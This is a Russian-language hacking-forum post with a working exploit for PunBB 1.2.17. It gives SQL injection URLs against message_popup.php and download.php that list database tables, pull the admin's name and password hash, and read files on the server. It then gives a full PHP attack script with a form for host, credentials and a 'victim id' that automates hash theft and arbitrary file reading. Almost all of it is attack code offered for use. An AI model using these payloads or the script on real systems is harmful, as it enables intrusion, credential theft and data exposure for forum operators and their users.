|
Постоянный
Регистрация: 11.11.2006
Сообщений: 834
Провел на форуме: 3941248
Репутация:
668
|
|
PunBB 1.2.17 Sql injection & File reader
Код:
v1.2.17 punbb.ru rev87
/message_popup.php
message_popup.php?id=0+UNION+SELECT+user_id,concat_ws(0x3a,table_name),2,3+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+номер таблицы,1
узнаем префикс по таблицам.
-----------------------------------SQL<
/message_popup.php?id=0+union+select+user_id,username,3,password+from+[PREFIX]users+where+id=2
Узнаем имя и хеш админа.
-----------------------------------SQL<
download.php
/download.php?aid=9+union+select+1,file,3,user_id,null,1
просматриваем файлы на хосте
-----------------------------------SQL<
user_id - Ваш id на форуме через который вы зашли
By @Fatal@ aka Doom123
PHP код:
<?php
/**
* @author @Fatal@
* @copyright HWT©2008
*
* PunBB expl0it
*
* Уязвимость существует по причине недостатачной обработки
* входящх данных в файле download.php!
*
* Овтор не несёт ответствености за использоваение данного скрипта!
* Используйте его на свой страх и риск!
*
* Уязвимость нашёл @Fatal@.
*/
if (isset($_POST['start']))
{
if (!empty($_POST['login']) && !empty($_POST['pass']) && !empty($_POST['host']) && !empty($_POST['id']) && !empty($_POST['path']))
{
define("_HOST", $_POST['host']);
define("_PORT", 80);
function cookie($ans)
{
$head = 'Cookie:';
foreach ($ans as $val)
{
if (preg_match('#Set-Cookie:(.+)#is', $val, $pock))
{
$co = explode(';', $pock['1']);
$head .= ' ' . trim($co[0]) . ';';
}
}
return $head . " \r\n";
}
function Prepare_POST_array($arr)
{
$out = '';
foreach ($arr as $key => $line)
{
if ($out == '')
$out .= $key . '=' . urlencode($line);
else
$out .= '&' . $key . '=' . urlencode($line);
}
return $out . "\r\n\r\n";
}
function post_query($path, $param, $cook = '', $AnswerFlag = true)
{
$out = "POST " . $path . " HTTP/1.1\r\n";
if ($param == array())
{
$out = "GET " . $path . " HTTP/1.1\r\n";
$data = "";
} else
$data = Prepare_POST_array($param);
$fp = fsockopen(_HOST, _PORT, $errno, $errstr, 30);
if (!$fp) return false;
$out .= "Host: " . _HOST . "\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded; charset=windows-1251\r\n";
$out .= "Content-Length: " . strlen($data) . "\r\n";
$out .= "User-Agent: Opera/9.27 (Windows NT 5.1; U; ru)\r\n";
$out .= $cook;
$out .= "Connection: Close\r\n\r\n";
$out .= $data;
fwrite($fp, $out);
if ($AnswerFlag)
{
while (!feof($fp))
{
$answer[] = fgets($fp, 1024);
}
} else
$answer = true;
fclose($fp);
return $answer;
}
$array = array(
'form_sent' => '1',
'redirect_url' => 'index.php',
'req_username' => $_POST['login'],
'req_password' => $_POST['pass'],
);
$ans = post_query($_POST['path'].'login.php?action=in', $array);
$a = cookie($ans);
if($_POST['method'] != 2)
{
if (!empty($_POST['nid']))
{
if(empty($a))
$error = 'Не верно введены логин или пароль';
else {
$page = $_POST['path'].'download.php?aid=9999+UNION+SELECT+1,password,3,'.$_POST['id'].',null,6+FROM+users+WHERE+id+like+'.$_POST['nid'];
$ans2 = post_query($page, array(), $a);
$str = implode('',$ans2);
if(strrpos($str, "doesn't exist (Errno: 1146)") !== false)
{
preg_match("# Table '(.+?)\.users' doesn't exist \(Errno: 1146\)#is",$str,$pock);
$hex = '0x'.bin2hex($pock[1]);
$page = $_POST['path'].'download.php?aid=9999+UNION+SELECT+1,table_name,3,'.$_POST['id'].',null,6+FROM+information_schema.columns+WHERE+table_schema+like+'.$hex;
$ans3 = post_query($page, array(), $a);
$str = implode('',$ans3);
preg_match('#PunBB reported</strong>: (.+?)attachments - this file does not exist#is',$str,$pock);
$pref = isset($pock[1]) ? $pock[1] : $_POST['prefix'];
$page = $_POST['path'].'download.php?aid=9999+UNION+SELECT+1,password,3,'.$_POST['id'].',null,6+FROM+'.$pref.'users+WHERE+id+like+'.$_POST['nid'];
$ans2 = post_query($page, array(), $a);
$str = implode('',$ans2);
}
preg_match('#PunBB reported</strong>: (.{0,40}) - this file does not exist#is',$str,$pock);
echo "<center><b><h1>Хеш пользователя:".$pock[1]."</h1></b></center>";
}
} else
$error = "Введите все данные";
} else {
if (!empty($_POST['file']))
{
if(empty($a))
$error = 'Не верно введены логин или пароль';
else {
$page = $_POST['path'].'download.php?aid=9999+UNION+SELECT+1,"'.$_POST['file'].'",3,'.$_POST['id'].',null,6';
$ans2 = post_query($page, array(), $a);
$i = 11;
while(array_key_exists($i,$ans2))
{
echo htmlspecialchars($ans2[$i]).'<br>';
$i++;
}
}
} else
$error = "ВВедите все данные";
}
} else
$error = "ВВедите все данные";
}
if(isset($error) || !isset($_POST['start']))
{
echo '<center>'.$error."<BR><BR><b>PunBB Expl0it</b><br><br>";
echo '<form method="post">';
echo 'Хост: <input type="text" name="host"><br>';
echo 'Путь: <input type="text" name="path"><br>';
echo 'Префикс: <input type="text" name="prefix"><br>';
echo 'Логин: <input type="text" name="login"><br>';
echo 'Пароль: <input type="text" name="pass"><br>';
echo 'В.id: <input type="text" name="id"><br>';
echo 'Н.id: <input type="text" name="nid"><br>';
echo 'Файл: <input type="text" name="file"><br>';
echo 'Метод: <select name=method><option value=1>Извлечь хэш</option>';
echo '<option value=2>Просмотреть файл</option></select><br>';
echo '<input type="submit" name="start"></form>';
echo '<br><br>В.id - id вашего пользоваетля';
echo '<br>Н.id - id жертвы(Нжно заполнять при первом методе)';
echo '<br>Файл - Путь до файла (При втором методе)';
echo '<br>Путь - Папка форума например /path/ (Если форум не находатся в папке вводим /)';
echo '<br>Префикс - Обычно определяется сам но если не хватает доступа подставляется ваш';
echo '<br><BR><BR>C0ded by @Fatal@ For HW Team</center>';
}
?>
Последний раз редактировалось Doom123; 30.07.2008 в 12:36..
|